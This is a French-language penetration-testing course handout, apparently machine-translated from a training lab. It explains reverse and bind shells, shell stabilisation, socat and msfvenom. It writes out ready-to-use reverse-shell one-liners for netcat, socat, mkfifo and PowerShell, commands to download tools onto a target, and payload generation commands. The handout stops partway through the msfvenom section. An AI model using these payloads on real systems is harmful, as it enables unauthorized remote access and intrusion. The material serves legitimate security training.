ESCALADE DE

PRIVILEGES
Teste d’intrusions informatique

Année 2022
BY Plarox
 Sommaire

I Qu’est-ce qu’un Shell

1. 1Introduction --------------------------------------- p2
1.2 Outils --------------------------------------- p2
1.3 Type de shell --------------------------------------- p3
1.4 Netcat --------------------------------------- p6
1.5 Netcat Shell Stabilisation ----------------------------- p7
1.6 Socat --------------------------------------- p9
1.7 Shells Chiffrés Socat --------------------------------------- p 11
1.8 Charges utiles Shell courantes ----------------------------- p 12
1.9 MSFvenom ------------------------------------------- p 14
1.10 Metasploit multi/gestionnaire ----------------------------- p 17
1.11 WebShells ------------------------------------------- p 19

II Linux PrivEsc

2.1 Qu’est-ce que l’élévation de privilèges ? -------------------- p 22

2.2 Enumération --------------------------------------- p 22
2.3 Outils d’énumération automatisé ------------------------- p 31
2.4 Elévation des privilèges : Kernel Exploit - - - - - - - - - - - - - - - - - - - - - - - - - p 31
2.5 Elévation des privilèges : Sudo ----------------------------- p 32
2.6 Privilège Escalation: SUID ----------------------------- p 34
2.7 Élévation des privilèges : capacités ------------------------- p 37
2.8 Élévation des privilèges : tâches Cron ------------------------- p 38
2.9 Élévation des privilèges : NFS ------------------------- p 40

III Escalade de Privilège Windows

3.1 Escalade des privilèges Windows ------------------------- p 42

3.2 Récolter des mots de passe à partir d'emplacements habituels p 43
3.3 Autres gains rapides ----------------------------- p 45
3.4 Abus des mauvaises configurations de service --------------- p 47
3.5 Abus de privilèges dangereux ----------------------------- p 55

Sommaire 1
 1.Qu’est-ce qu’un Shell ?

1.1 Introduction
Avant de pouvoir entrer dans les subtilités de l'envoi et de la réception de shells, il est important de
comprendre ce qu'est réellement un shell. Dans les termes les plus simples possibles, les shells
sont ce que nous utilisons lors de l'interface avec un environnement de ligne de commande (CLI).
En d'autres termes, les programmes bash ou sh courants sous Linux sont des exemples de shells,
tout comme cmd.exe et Powershell sous Windows. Lorsque vous ciblez des systèmes distants, il
est parfois possible de forcer une application exécutée sur le serveur (comme un serveur Web, par
exemple) à exécuter du code arbitraire. Lorsque cela se produit, nous souhaitons utiliser cet accès
initial pour obtenir un shell s'exécutant sur la cible.

En termes simples, nous pouvons forcer le serveur distant soit à nous envoyer un accès en ligne
de commande au serveur (un inversé), soit à ouvrir un port sur le serveur auquel nous pouvons
nous connecter afin d'exécuter d'autres commandes (un liaison Shell).

1.2 Outils
Il existe une variété d'outils que nous utiliserons pour recevoir des shells inversés et pour envoyer
des shells liés. En termes généraux, nous avons besoin d'un code shell malveillant, ainsi que d'un
moyen de s'interfacer avec le shell résultant. Nous discuterons brièvement de chacun de ces
éléments ci-dessous :

Netcat :

Netcat est le "couteau suisse" traditionnel de la mise en réseau. Il est utilisé pour effectuer
manuellement toutes sortes d'interactions réseau, y compris des choses comme la saisie de
bannières pendant l'énumération, mais plus important encore pour nos utilisations, il peut être utilisé
pour recevoir des shells inversés et se connecter à des ports distants attachés pour lier des shells
sur un système cible. Les shells Netcat sont très instables (faciles à perdre) par défaut, mais
peuvent être améliorés par des techniques que nous aborderons dans une tâche à venir.

Socat:

Socat est comme netcat sous stéroïdes. Il peut faire toutes les mêmes choses, et bien plus encore.
Les coques Socat sont généralement plus stables que les coques netcat prêtes à l'emploi. En ce
sens, il est largement supérieur à netcat ; cependant, il y a deux gros hics : La syntaxe est plus
difficile, Netcat est installé sur pratiquement toutes les distributions Linux par défaut. Socat est très
rarement installé par défaut.

Socat et Netcat ont tous deux des versions .exe à utiliser sous Windows.

Metasploit -- multi/gestionnaire :

Le module auxiliary/multi/handler du framework Metasploit est, comme socat et netcat, utilisé

pour recevoir des reverse shells. En raison de son appartenance au framework Metasploit, le
multi/handler fournit un moyen à part entière d'obtenir des shells stables, avec une grande variété
d'options supplémentaires pour améliorer la coque capturée. C'est également le seul moyen
d'interagir avec un meterpreter , et c'est le moyen le plus simple de gérer les étagées

Sommaire 2
Msfvenom :

Comme multi/handler, msfvenom fait techniquement partie du Metasploit Framework, cependant, il

est livré en tant qu'outil autonome. Msfvenom est utilisé pour générer des charges utiles à la volée.
Bien que msfvenom puisse générer des charges utiles autres que les shells inversés et liés, c'est
sur cela que nous nous concentrerons dans cette leçon. Msfvenom est un outil incroyablement
puissant, nous allons donc entrer dans son application beaucoup plus en détail dans une partie
dédiée.

Outre les outils que nous avons déjà couverts, il existe des référentiels de shells dans de
nombreuses langues différentes. L'un des plus importants d'entre eux est Payloads all the Things .
La feuille de triche PentestMonkey Reverse Shell est également couramment utilisée. En plus de
ces ressources en ligne, Kali Linux est également préinstallé avec une variété de webshells situés à
/usr/share/webshells. Le repo SecLists , bien que principalement utilisé pour les listes de mots,
contient également du code très utile pour obtenir des shells.

1.3. Type de Shell

À un niveau élevé, nous nous intéressons à deux types de shell lorsqu'il s'agit d'exploiter une cible :
les reverse shells (inversés) et les binds shells (liés).

Les reverse shells se produisent lorsque la cible est forcée d'exécuter du code qui se
reconnecte à votre ordinateur. Sur votre propre ordinateur, vous utiliseriez l'un des outils
mentionnés dans la tâche précédente pour configurer un écouteur qui serait utilisé pour recevoir la
connexion. Les shells inversés sont un bon moyen de contourner les règles de pare-feu qui peuvent
vous empêcher de vous connecter à des ports arbitraires sur la cible ; cependant, l'inconvénient est
que, lors de la réception d'un shell d'une machine via Internet, vous devrez configurer votre propre
réseau pour accepter le shell.

Les shells liés lorsque le code exécuté sur la cible est utilisé pour démarrer un écouteur attaché
à un shell directement sur la cible. Celui-ci serait alors ouvert à Internet, ce qui signifie que vous
pouvez vous connecter au port que le code a ouvert et obtenir l'exécution du code à distance de
cette façon. Cela a l'avantage de ne nécessiter aucune configuration sur votre propre réseau, mais
peut être empêché par des pare-feux protégeant la cible.

En règle générale, les shells inversés sont plus faciles à exécuter et à déboguer, cependant, nous
couvrirons les deux exemples ci-dessous. Ne vous inquiétez pas trop de la syntaxe ici : nous
l'examinerons dans les tâches à venir. À la place, notez la différence entre les coques inversées et
liées dans les simulations suivantes.

Exemple de shell inversée :

Commençons par le shell inversé le plus courant.

Neuf fois sur dix, c'est ce que vous ferez. Jetez un œil à l'image suivante. Sur la gauche, nous
avons un écouteur de shell inversé - c'est ce qui reçoit la connexion. Sur la droite se trouve une
simulation d'envoi d'un obus inversé. En réalité, il est plus probable que cela se fasse par injection
de code sur un site Web distant ou quelque chose du genre. Imaginez l'image de gauche comme
étant votre propre ordinateur et l'image de droite comme étant la cible.

Sommaire 3
Sur la machine attaquante :

sudo nc -lvnp 443

Sur la cible :

nc <LOCAL-IP> <PORT> -e /bin/bash

Notez qu'après avoir exécuté la commande sur la droite, l'écouteur reçoit une connexion. Lorsque
la commande whoami est exécutée, nous voyons que nous exécutons des commandes en tant
qu'utilisateur cible. La chose importante ici est que nous écoutons sur notre propre machine
attaquante et envoyons une connexion depuis la cible.

Exemple de Binds shell :

Les Binds Shell sont moins courantes, mais toujours très utiles.

Encore une fois, regardez l'image suivante. Encore une fois, à gauche, nous avons l'ordinateur de
l'attaquant, à droite, nous avons une cible simulée. Juste pour secouer un peu les choses, nous
allons utiliser une cible Windows cette fois. Tout d'abord, nous démarrons un écouteur sur la cible -
cette fois, nous lui disons également d'exécuter cmd.exe. Ensuite, avec l'écouteur opérationnel,
nous nous connectons depuis notre propre machine au port nouvellement ouvert.

Sur la cible :

nc -lvnp <port> -e "cmd.exe"

Sur la machine attaquante :

nc MACHINE_IP <port>

Comme vous pouvez le voir, cela nous donne à nouveau l'exécution de code sur la machine
distante. Notez que ce n'est pas spécifique à Windows.

Sommaire 4
La chose importante à comprendre ici est que nous écoutons la cible, puis que nous nous y
connectons avec notre propre machine.

Le dernier concept qui est pertinent dans cette tâche est celui de l'interactivité. Les coques peuvent
être interactives ou non interactives.

Interactif : si vous avez utilisé Powershell, Bash, Zsh, sh ou tout autre environnement CLI
standard, vous serez habitué à

Shell interactives. Ceux-ci vous permettent d'interagir avec les programmes après les avoir
exécutés. Par exemple, prenez l'invite de connexion SSH :

Ici, vous pouvez voir qu'il est demandé de manière interactive que l'utilisateur tape oui ou non
afin de poursuivre la connexion. Il s'agit d'un programme interactif qui nécessite un shell interactif
pour s'exécuter.

Les shell Non interactives ne vous offrent pas ce luxe. Dans un shell non interactif, vous êtes limité
à l'utilisation de programmes qui ne nécessitent pas d'interaction de l'utilisateur pour fonctionner
correctement. Malheureusement, la majorité des shells inversés et liés simples ne sont pas
interactifs, ce qui peut rendre l'exploitation plus délicate. Voyons ce qui se passe lorsque nous
essayons d'exécuter SSH dans un shell non interactif :

Remarquez que la commande whoami (qui n'est pas interactive) s'exécute parfaitement, mais la
commande ssh (qui est interactive) ne nous donne aucune sortie. Comme remarque intéressante,
la sortie d'une commande interactive va quelque part, cependant, déterminer où le trouver est un
exercice que vous pouvez essayer par vous-même. Autant dire que les programmes interactifs ne
fonctionnent pas dans des shells non interactifs.

1.4 Netcat
Comme mentionné précédemment, Netcat est l'outil le plus basique de la boîte à outils d'un
pentester lorsqu'il s'agit de tout type de mise en réseau. Avec lui, nous pouvons faire une grande
variété de choses intéressantes, mais concentrons-nous pour l'instant sur les shell.

Reverse Shell

Dans la tâche précédente, nous avons vu que les shells inversés nécessitent un shellcode et un
écouteur. Il existe de nombreuses façons d'exécuter un shell, nous allons donc commencer par
examiner les écouteurs.
Sommaire 5
La syntaxe pour démarrer un écouteur netcat sous Linux est la suivante :

nc -lvnp <port-number>

• -l est utilisé pour indiquer à netcat que ce sera un écouteur

• -v est utilisé pour demander une sortie détaillée
• -n indique à netcat de ne pas résoudre les noms d'hôte ou d'utiliser DNS. Expliquer cela sort du
cadre de la salle.
• -p indique que la spécification du port suivra.

L'exemple de la tâche précédente utilisait le port 443. De manière réaliste, vous pouvez utiliser
n'importe quel port de votre choix, tant qu'aucun service ne l'utilise déjà. Sachez que si vous
choisissez d'utiliser un port inférieur à 1024, vous devrez utiliser sudo lors du démarrage de votre
écouteur. Cela dit, c'est souvent une bonne idée d'utiliser un numéro de port bien connu (80, 443 ou
53 étant de bons choix) car il est plus susceptible de contourner les règles de pare-feu sortantes sur
la cible.

Un exemple de travail de ceci serait :

sudo nc -lvnp 443

Nous pouvons ensuite nous y connecter avec n'importe quel nombre de charges utiles, en fonction
de l'environnement sur la cible.

Un exemple de ceci est affiché dans la tâche précédente.

Blind Shell

Si nous cherchons à obtenir un bind shell sur une cible alors nous pouvons supposer qu'il y a déjà
un listener qui nous attend sur un port choisi de la cible : il suffit de s'y connecter. La syntaxe pour
cela est relativement simple :

nc <target-ip> <chosen-port>

Ici, nous utilisons netcat pour établir une connexion sortante vers la cible sur le port que nous avons
choisi.

Nous verrons comment utiliser netcat pour créer un écouteur pour ce type de shell dans la tâche 8.
Ce qui est important ici, c'est que vous compreniez comment vous connecter à un port d'écoute à
l'aide de netcat.

1.5 Netcat Shell Stabilisation

Ok, nous avons donc attrapé ou connecté à un shell netcat, et ensuite ?

Ces shell sont très instables par défaut. Appuyer sur Ctrl + C tue le tout. Ils ne sont pas interactifs et
comportent souvent d'étranges erreurs de formatage. Cela est dû au fait que les "shells" netcat sont
en réalité des processus s'exécutant intérieur un terminal, plutôt que d'être des terminaux
authentiques à part entière. Heureusement, il existe de nombreuses façons de stabiliser les shells
netcat sur les Linux. Nous en examinerons trois ici. La stabilisation des shells inversés de Windows
a tendance à être beaucoup plus difficile ; cependant, la deuxième technique que nous allons
couvrir ici est particulièrement utile pour cela.

Sommaire 6
Technique 1 : Python

La première technique dont nous parlerons ne s'applique qu'aux machines Linux , car elles auront
presque toujours Python installé par défaut. Il s'agit d'un processus en trois étapes :

1. La première chose à faire est d'utiliser python -c 'import pty;pty.spawn("/bin/bash")', qui utilise
Python pour générer un shell bash mieux présenté ; notez que certaines cibles peuvent avoir
besoin de la version de Python spécifiée. Si tel est le cas, remplacez python avec python2 ou
python3 comme demandé. À ce stade, notre shell aura l'air un peu plus joli, mais nous ne
pourrons toujours pas utiliser la saisie semi-automatique des tabulations ou les touches
fléchées, et Ctrl + C tuera toujours le shell.
2. La deuxième étape consiste à : export TERM=xterm-- cela nous donnera accès à des
commandes de terme telles que clear.
3. Enfin (et surtout), nous allons mettre en arrière-plan le shell en utilisant Ctrl + Z. De retour dans
notre propre terminal, nous utilisons stty raw -echo; fg. Cela fait deux choses : premièrement, il
désactive notre propre écho de terminal (ce qui nous donne accès aux auto-complétions des
onglets, aux touches fléchées et à Ctrl + C pour tuer les processus). Il met ensuite le shell au
premier plan, complétant ainsi le processus.

La technique complète est

visible ici :

Notez que si le shell meurt, toute entrée dans votre propre terminal ne sera pas visible (en raison
de la désactivation de l'écho du terminal). Pour résoudre ce problème, tapez reset et appuyez sur
entrée.

Technique 2: rlwrap

rlwrap est un programme qui, en termes simples, nous donne accès à l'historique, à l'auto-
complétion des onglets et aux touches fléchées dès la réception d'un shell ; cependant, une
certaine stabilisation manuelle doit toujours être utilisée si vous voulez pouvoir utiliser Ctrl + C à
l'intérieur du shell. rlwrap n'est pas installé par défaut sur Kali, donc installez-le d'abord avec

sudo apt install rlwrap.

Pour utiliser rlwrap, nous invoquons un écouteur légèrement différent :

rlwrap nc -lvnp <port>

Préfixer notre écouteur netcat avec "rlwrap" nous donne un shell beaucoup plus complet. Cette
technique est particulièrement utile lorsqu'il s'agit de shells Windows, qui sont par ailleurs
notoirement difficiles à stabiliser. Lorsqu'il s'agit d'une Linux, il est possible de stabiliser
complètement, en utilisant la même astuce qu'à l'étape trois de la technique précédente : fondez le
shell avec Ctrl + Z, puis utilisez stty raw -echo; fg pour se stabiliser et rentrer dans la coque.

Sommaire 7
 Technique 3: Socat

Le troisième moyen facile de stabiliser un shell est tout simplement d'utiliser un shell netcat initial
comme tremplin vers un shell socat plus complet. Gardez à l'esprit que cette technique est limitée
aux Linux , car un shell Socat sous Windows ne sera pas plus stable qu'un shell netcat. Pour
accomplir cette méthode de stabilisation, nous transférerions d'abord un binaire compilé statique
socat (une version du programme compilée pour n'avoir aucune dépendance) jusqu'à la machine
cible. Un moyen typique d'y parvenir serait d'utiliser un serveur Web sur la machine attaquante à
l'intérieur du répertoire contenant votre binaire socat ( sudo python3 -m http.server 80), puis, sur la
machine cible, en utilisant le shell netcat pour télécharger le fichier. Sous Linux , cela serait
accompli avec curl ou wget ( wget <LOCAL-IP>/socat -O /tmp/socat).

Par souci d'exhaustivité : dans un environnement CLI Windows, la même chose peut être faite avec
Powershell, en utilisant soit Invoke-WebRequest, soit une classe système webrequest, selon la
version de Powershell installée

Invoke-WebRequest -uri <LOCAL-IP>/socat.exe -outfile C:\\Windows\temp\socat.exe

Nous aborderons la syntaxe d'envoi et de réception de shells avec Socat dans les tâches à venir.

Avec l'une des techniques ci-dessus, il est utile de pouvoir modifier la taille de votre terminal tty.
C'est quelque chose que votre terminal fera automatiquement lors de l'utilisation d'un shell normal ;
cependant, cela doit être fait manuellement dans un shell inverse ou lié si vous souhaitez utiliser
quelque chose comme un éditeur de texte qui écrase tout à l'écran.

Tout d'abord, ouvrez un autre terminal et exécutez stty -a. Cela vous donnera un grand flux de
sortie. Notez les valeurs des "lignes" et des colonnes :

Ensuite, dans votre shell reverse/bind, tapez :

stty rows <number>

et

stty cols <number>

Remplissez les chiffres que vous avez obtenus en exécutant la commande dans votre propre
terminal.

Cela modifiera la largeur et la hauteur enregistrées du terminal, permettant ainsi aux programmes
tels que les éditeurs de texte qui s'appuient sur la précision de ces informations de s'ouvrir
correctement.

Sommaire 8
 1.6 Socat
Socat est similaire à netcat à certains égards, mais fondamentalement différent à bien d'autres. La
façon la plus simple de penser à socat est comme un connecteur entre deux points. Dans l'intérêt
de cette pièce, il s'agira essentiellement d'un port d'écoute et du clavier, mais il pourra aussi s'agir
d'un port d'écoute et d'un fichier, voire de deux ports d'écoute. Socat ne fait que fournir un lien entre
deux points - un peu comme le pistolet portail des jeux Portal !

Encore une fois, commençons par les reverse shell.

Reverse shell

Comme mentionné précédemment, la syntaxe de socat devient beaucoup plus difficile que celle de
netcat. Voici la syntaxe d'un écouteur de shell inversé de base dans socat :
socat TCP-L:<port> -
Comme toujours avec socat, cela prend deux points (un port d'écoute et une entrée standard) et les
connecte ensemble. Le shell résultant est instable, mais cela fonctionnera sous Linux ou Windows
et équivaut à nc -lvnp <port>.
Sous Windows, nous utiliserions cette commande pour nous reconnecter :
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes
L'option "pipes" est utilisée pour forcer powershell (ou cmd.exe) à utiliser l'entrée et la sortie
standard de style Unix.
C'est la commande équivalente pour une Linux cible
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li"
Bind shell
Sur une Linux, nous utiliserions la commande suivante :
socat TCP-L:<PORT> EXEC:"bash -li"
Sur une cible Windows, nous utiliserions cette commande pour notre écouteur :
socat TCP-L:<PORT> EXEC:powershell.exe,pipes
Nous utilisons l'argument "pipes" pour faire l'interface entre les manières Unix et Windows de gérer
les entrées et les sorties dans un environnement CLI.
Quelle que soit la cible, nous utilisons cette commande sur notre machine attaquante pour nous
connecter à l'écouteur en attente.
socat TCP:<TARGET-IP>:<TARGET-PORT> -

Examinons maintenant l'une des utilisations les plus puissantes de Socat : un Linux shell inversé tty
Cela ne fonctionnera que lorsque la cible est Linux, mais est nettement plus stable. Comme
mentionné précédemment, socat est un outil incroyablement polyvalent ; cependant, la technique
suivante est peut-être l'une de ses applications les plus utiles. Voici la nouvelle syntaxe de
l'écouteur :

socat TCP-L:<port> FILE:`tty`,raw,echo=0

Décomposons cette commande en ses deux parties. Comme d'habitude, nous connectons deux
points ensemble. Dans ce cas, ces points sont un port d'écoute et un fichier. Plus précisément,
nous transmettons le TTY actuel sous forme de fichier et définissons l'écho sur zéro.

Cela équivaut à peu près à utiliser Ctrl + Z, stty raw -echo; fg truc avec un shell netcat - avec
l'avantage supplémentaire d'être immédiatement stable et de s'accrocher à un tty complet.

Sommaire 9
 Le premier auditeur peut être connecté à n'importe quelle charge utile ; cependant, cet écouteur
spécial doit être activé avec une commande socat très spécifique. Cela signifie que la cible doit
avoir socat installé. Socat n'est pas installé par défaut sur la plupart des machines, cependant, il est
possible de télécharger un binaire socat précompilé , qui peut ensuite être exécuté normalement.
La commande spéciale est la suivante :

socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane

Ceci est une poignée, alors décomposons-le.

La première partie est simple - nous nous connectons avec l'écouteur fonctionnant sur notre propre
machine. La deuxième partie de la commande crée une session bash interactive avec EXEC:"bash
-li". Nous passons également les arguments : pty, stderr, sigint, setsid et sane :

• pty , alloue un pseudoterminal sur la cible -- partie du processus de stabilisation

• stderr , s'assure que tous les messages d'erreur sont affichés dans le shell (souvent un
problème avec les shells non interactifs)
• sigint , transmet toutes les commandes Ctrl + C au sous-processus, ce qui nous permet de
tuer les commandes à l'intérieur du shell
• setsid , crée le processus dans une nouvelle session
• sane , stabilise le terminal en essayant de le "normaliser".

C'est beaucoup à prendre, alors voyons-le en action.

Comme d'habitude, sur la gauche, nous avons un écouteur exécuté sur notre machine d'attaque
locale, sur la droite, nous avons une simulation d'une cible compromise, exécutée avec un shell non
interactif. À l'aide du shell netcat non interactif, nous exécutons la commande spéciale socat et
recevons un shell bash entièrement interactif sur l'écouteur socat à gauche :

Notez que le shell socat est entièrement interactif, ce qui nous permet d'utiliser des commandes
interactives telles que SSH. Cela peut ensuite être encore amélioré en définissant les valeurs stty
comme indiqué dans la tâche précédente, ce qui nous permettra d'utiliser des éditeurs de texte tels
que Vim ou Nano.

Si, à un moment donné, un shell socat ne fonctionne pas correctement, cela vaut la peine
d'augmenter la verbosité en ajoutant -d -d dans la commande. Ceci est très utile à des fins
expérimentales, mais n'est généralement pas nécessaire pour une utilisation générale.

Sommaire 10
 1.7 Shells chiffrés Socat
L'un des nombreux avantages de socat est qu'il est capable de créer des shells chiffrés, à la fois liés
et inversés. Pourquoi voudrions-nous faire cela ? Les shells chiffrés ne peuvent pas être espionnés à
moins que vous n'ayez la clé de déchiffrement, et sont souvent capables de contourner un IDS en
conséquence.

Nous avons expliqué comment créer des shells de base dans la tâche précédente, de sorte que la
syntaxe ne sera pas couverte à nouveau ici. Autant dire qu'à tout moment TCP a été utilisé dans le
cadre d'une commande, cela doit être remplacé par OPENSSL lorsque vous travaillez avec des shells
chiffrés. Nous couvrirons quelques exemples à la fin de la tâche, mais parlons d'abord des certificats.

Nous devons d'abord générer un certificat afin d'utiliser des shells chiffrés. C'est plus facile à faire sur
notre machine d'attaque :

openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt

Cette commande crée une clé RSA de 2048 bits avec un fichier de certificat correspondant, auto-signé
et valide pendant un peu moins d'un an. Lorsque vous exécutez cette commande, il vous sera
demandé de fournir des informations sur le certificat. Cela peut être laissé vide ou rempli au hasard.

Nous devons ensuite fusionner les deux fichiers créés en un seul. Pem dossier :

cat shell.key shell.crt > shell.pem

Maintenant, lorsque nous configurons notre écouteur de shell inversé, nous utilisons

socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -

Cela configure un écouteur OPENSSL à l'aide de notre certificat généré. verify=0 indique à la
connexion de ne pas se soucier d'essayer de valider que notre certificat a été correctement signé par
une autorité reconnue. Veuillez noter que le certificat doit être utilisé sur l'appareil qui écoute.

Pour se reconnecter, nous utiliserions :

socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash

La même technique s'appliquerait à un shell de liaison :

Cible :

socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes

Attaquant :

socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -

Encore une fois, notez que même pour une cible Windows, le certificat doit être utilisé avec l'écouteur,
il est donc nécessaire de copier le fichier PEM pour un shell de liaison.

L'image suivante montre un shell inversé OPENSSL à partir d'une cible Linux. Comme d'habitude, la
cible est à droite, et l'attaquant est à gauche :

Sommaire 11
Cette technique fonctionnera également avec le shell TTY spécial, uniquement Linux, couvert dans la
tâche précédente

1.8 Charges utiles Shell courantes

Nous allons bientôt envisager de générer des charges utiles avec msfvenom, mais avant cela,
examinons quelques charges utiles courantes à l'aide des outils que nous avons déjà couverts.

Une tâche précédente mentionnait que nous allions chercher des moyens d'utiliser netcat comme
écouteur pour un bindshell, nous allons donc commencer par cela. Dans certaines versions de netcat
(y compris le nc.exeVersion Windows incluse avec Kali sur /usr/share/windows-resources/binaries, et
la version utilisée dans Kali lui-même : netcat-traditional) Il y a un -e option qui permet d'exécuter un
processus à la connexion. Par exemple, en tant qu'auditeur :

nc -lvnp <PORT> -e /bin/bash

La connexion à l'écouteur ci-dessus avec netcat entraînerait un shell de liaison sur la cible.

De même, pour un shell inversée, reconnecter avec nc <LOCAL-IP> <PORT> -e /bin/bash entraînerait
un reverse shell sur la cible.

Cependant, cela n'est pas inclus dans la plupart des versions de netcat car il est largement considéré
comme très peu sûr (c'est drôle, hein ?). Sous Windows où un binaire statique est presque toujours
requis de toute façon, cette technique fonctionnera parfaitement. Sous Linux, cependant, nous
utiliserions plutôt ce code pour créer un écouteur pour un shell de liaison :

mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

Le paragraphe suivant est l'explication technique de cette commande. Ne vous inquiétez pas si cela
n'a pas beaucoup de sens pour l'instant - la commande elle-même est ce qui compte.

La commande crée d'abord un canal nommé à /tmp/f. Il démarre ensuite un écouteur netcat et
connecte l'entrée de l'écouteur à la sortie du canal nommé. La sortie de l'écouteur netcat (c'est-à-dire
les commandes que nous envoyons) est ensuite directement redirigée vers sh, en envoyant le flux de
sortie stderr dans stdout et en envoyant stdout lui-même dans l'entrée du canal nommé, complétant
ainsi le cercle.

Sommaire 12
Une commande très similaire peut être utilisée pour envoyer un reverse shell netcat

mkfifo /tmp/f; nc <LOCAL-IP> <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

Cette commande est pratiquement identique à la précédente, à l'exception de l'utilisation de la syntaxe

netcat connect, par opposition à la syntaxe netcat listen.

Lorsque vous ciblez un serveur Windows moderne, il est très courant d'exiger un shell inversé
Powershell, nous allons donc couvrir ici le shell inversé PSH standard à une ligne.

Cette commande est très compliquée, donc par souci de simplicité, elle ne sera pas expliquée
directement ici. C'est cependant un one-liner extrêmement utile à garder sous la main :

powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream =

$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0,
$bytes.Length)) -ne 0){;$data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String
);$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte =
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$strea
m.Flush()};$client.Close()"

Pour l'utiliser, nous devons remplacer "<IP>" et "<port>" par une adresse IP appropriée et un choix de
port. Il peut ensuite être copié dans un shell cmd.exe (ou une autre méthode d'exécution de
commandes sur un serveur Windows, tel qu'un webshell) et exécuté, ce qui donne un shell inversé :

Pour les autres charges utiles de shell inverse courantes, PayloadsAllTheThings est un référentiel
contenant une large gamme de codes shell (généralement au format une ligne pour copier et coller),
dans de nombreuses langues différentes. Il vaut la peine de lire la page liée pour voir ce qui est
disponible.

Sommaire 13
 1.9 MSFvenom
Msfvenom : le guichet unique pour tout ce qui concerne la charge utile.

Faisant partie du framework Metasploit, msfvenom est utilisé pour générer du code principalement
pour les shells inversés et liés. Il est largement utilisé dans le développement d'exploits de niveau
inférieur pour générer du shellcode hexadécimal lors du développement de quelque chose comme un
exploit Buffer Overflow ; cependant, il peut également être utilisé pour générer des charges utiles dans
divers formats (par exemple .exe, .aspx, .war, .py). C'est cette dernière fonction que nous utiliserons
dans cette salle. Il y a plus à enseigner sur msfvenom qu'on ne pourrait jamais tenir dans une seule
pièce, sans parler d'une seule tâche, donc les informations suivantes seront une brève introduction
aux concepts qui s'avéreront utiles pour cette pièce.

La syntaxe standard pour msfvenom est la suivante :

msfvenom -p <PAYLOAD> <OPTIONS>

Par exemple, pour générer un Reverse Shell Windows x64 au format exe, nous pourrions utiliser :

msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=<listen-IP> LPORT=<listen-

port>

Ici, nous utilisons une charge utile et quatre options :

• -f <format>
o Spécifie le format de sortie. Dans ce cas c'est un exécutable (exe)
• -o <fichier>
o Emplacement de sortie et nom de fichier pour la charge utile générée.
• LHÔTE= <IP>
o Spécifie l'adresse IP à laquelle se reconnecter. Lorsque vous utilisez un VPN, ce sera
votre adresse IP tun0 . Si vous ne pouvez pas charger le lien, c'est que vous n'êtes pas
connecté au VPN .
• LPORT= <port>
o Le port de la machine locale auquel se reconnecter. Cela peut être n'importe quoi entre 0
et 65535 qui n'est pas déjà utilisé ; cependant, les ports inférieurs à 1024 sont restreints
et nécessitent un écouteur exécuté avec des privilèges root.

Avec étape vs sans étape

Avant d'aller plus loin, il y a deux autres concepts qui doivent être introduits : les charges utiles avec
étape shell inversées sans étape .

• Les charges avec étape sont envoyées en deux parties. La première partie s'appelle le stager.
Il s'agit d'un morceau de code qui est exécuté directement sur le serveur lui-même. Il se
reconnecte à un écouteur en attente, mais ne contient pas de code shell inversé par lui-même.
Au lieu de cela, il se connecte à l'écouteur et utilise la connexion pour charger la charge utile
réelle, l'exécutant directement et l'empêchant de toucher le disque où il pourrait être intercepté
par les solutions antivirus traditionnelles. Ainsi, la charge utile est divisée en deux parties - un
petit stager initial, puis le code shell inverse plus volumineux qui est téléchargé lorsque le
stager est activé. Les charges utiles étagées nécessitent un écouteur spécial - généralement le
multi/gestionnaire Metasploit, qui sera couvert dans la tâche suivante.

Sommaire 14
 • Charges utiles sans étape sont plus courantes - c'est ce que nous avons utilisé jusqu'à
présent. Ils sont entièrement autonomes en ce sens qu'il existe un morceau de code qui,
lorsqu'il est exécuté, renvoie immédiatement un shell à l'écouteur en attente.

Les charges utiles sans étape ont tendance à être plus faciles à utiliser et à attraper ; cependant, ils
sont également plus volumineux et sont plus faciles à découvrir et à supprimer pour un programme
antivirus ou de détection d'intrusion. Les charges utiles mises en scène sont plus difficiles à utiliser,
mais le stager initial est beaucoup plus court et est parfois manqué par un logiciel antivirus moins
efficace. Les solutions antivirus modernes utiliseront également l'interface d'analyse anti-malware
(AMSI) pour détecter la charge utile lorsqu'elle est chargée en mémoire par le stager, ce qui rend les
charges utiles étagées moins efficaces qu'elles ne l'auraient été dans ce domaine.

Compteur

Au sujet de Metasploit, une autre chose importante à discuter est un Meterpreter . Les coques
Meterpreter sont la propre marque de Metasploit de coques complètes. Ils sont complètement stables,
ce qui en fait une très bonne chose lorsque vous travaillez avec des cibles Windows. Ils disposent
également de nombreuses fonctionnalités intégrées, telles que les téléchargements et les
téléchargements de fichiers. Si nous voulons utiliser l'un des outils de post-exploitation de Metasploit,
nous devons utiliser un shell meterpreter, cependant, c'est un sujet pour une autre fois . L'inconvénient
des shells meterpreter est qu'ils doivent être capturés dans Metasploit. Ils sont également interdits de
certains examens de certification, c'est donc une bonne idée d'apprendre des méthodologies
alternatives.

Conventions de dénomination des charges utiles

Lorsque vous travaillez avec msfvenom, il est important de comprendre comment fonctionne le
système de nommage. La convention de base est la suivante :

<OS>/<arch>/<payload>

Par exemple :

linux/x86/shell_reverse_tcp

Cela générerait un shell inversé sans étape pour une cible Linux x86.

L'exception à cette convention concerne les cibles Windows 32 bits. Pour ceux-ci, l'arc n'est pas
précisé. Par exemple :

windows/shell_reverse_tcp

Pour une cible Windows 64 bits, l'arche serait spécifiée comme normale (x64).

Détaillons un peu plus la section de la charge utile.

